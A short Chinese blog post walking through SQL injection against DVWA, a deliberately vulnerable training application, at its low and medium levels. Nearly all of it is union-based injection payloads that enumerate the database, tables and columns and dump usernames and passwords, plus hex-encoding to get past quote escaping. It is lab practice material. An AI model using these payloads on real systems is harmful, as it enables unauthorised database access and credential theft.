DVWA-SQL注入

发布时间 2023-07-07 21:45:24作者: sxflmy

low版本
先进行判断是什么类型的注入
用 1 和 1‘ 判断
在用 1’ and 1=1进行判断

用1' order by 1#判断
1' order by 3# 报错说明只有两个字段

使用联合查询 1' union select 1,2#
爆库 1' union select database(),2#
1' union select 1,database()#
可知数据库有一个名叫dvaw的
获取数据库版本 1' union select version(),2# 5.7.26
获取数据库用户1' union select user(),2# root@localhost

爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

guestbook,users

查列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

查数据
-1' union select user,password from users#

gordonb
abc123等等

medium版本
需要抓包

抓完包后发送到repeater
其后的操作和前面的注入一样 出现数据库语句错误是因为有一个转移函数需要将带引号里面的词转成十六进制
and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#

and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

union select user,password from users#